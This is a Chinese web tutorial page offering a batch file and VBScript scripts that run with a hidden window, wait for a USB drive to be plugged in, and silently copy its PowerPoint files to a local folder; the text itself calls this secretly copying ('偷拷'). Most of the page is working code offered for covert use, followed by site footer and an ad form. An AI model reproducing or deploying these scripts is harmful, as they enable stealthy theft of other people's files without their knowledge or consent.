vbs 自動復制U盤的內容
來源:易賢網 閱讀:1467 次 日期:2016-07-07 16:45:25
溫馨提示:易賢網小編為您整理了“vbs 自動復制U盤的內容”,方便廣大網友查閱!

運行后當把U盤插入電腦后能夠自動把U盤里的PPT偷拷下來。下面用記事本就能實現(xiàn)的批處理或vbs。

思路很簡單,高層的東西沒什么技術含量,引用幾個函數(shù)或方法就行了。開始我用的是批處理(如果你插入U盤的盤符是J,把課件保存于F盤)打開記事本,鍵入以下內容:

代碼如下:

:cheat

ping 127.0.0.1>nul

if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat

保存為main.bat,本來這個文件就夠實現(xiàn)此功能了,但我想不到有什么DOS命令可以隱藏命令提示符界面,就不得不編了一個vbs腳本專門干這事:

打開記事本鍵入:

代碼如下:

set wshshell=createobject("wscript.shell")

wshshell.run "main.bat",0

msgbox"已經注入",48,"夜月"

wscript.quit

保存為starter.vbs,注意這個文件要和main.bat放于同一目錄下。然后雙擊starter.vbs即可運行。

后來,我想用vbs腳本可以搞得更牛叉一點,但這東西已經好長時間不玩了,我連inputbox都不知道怎么用的了,試了幾次才搞得好了一點。很方便,打開記事本,鍵入:

代碼如下:

on error resume next

dim udrive,dfold,src,ptr

set fso=createobject("Scripting.FileSystemObject")

do

udrive=inputbox("請按如下形式輸入U盤盤符","用戶指令",H)

loop until(udrive<="Z" and udrive>"B")

dfold=inputbox("請輸入目標文件夾","用戶指令","F:\Temp")

if (not fso.folderexists(dfold)) then

fso.createfolder(dfold)

end if

src=udrive + ":\*.ppt"

ptr=dfold + "\"

do while(1=1)

if fso.driveexists(udrive) then

fso.copyfile src,ptr,true

set fso=nothing

wscript.quit

end if

wscript.sleep 2000

loop

以上內容另存為xue.vbs即可,雙擊后運行。

更多信息請查看腳本欄目
易賢網手機網站地址:vbs 自動復制U盤的內容

2025國考·省考課程試聽報名

  • 報班類型
  • 姓名
  • 手機號
  • 驗證碼
關于我們 | 聯(lián)系我們 | 人才招聘 | 網站聲明 | 網站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺 | 手機站點 | 投訴建議
工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網安備53010202001879號 人力資源服務許可證:(云)人服證字(2023)第0102001523號
聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關注公眾號:hfpxwx
咨詢QQ:1093837350(9:00—18:00)版權所有:易賢網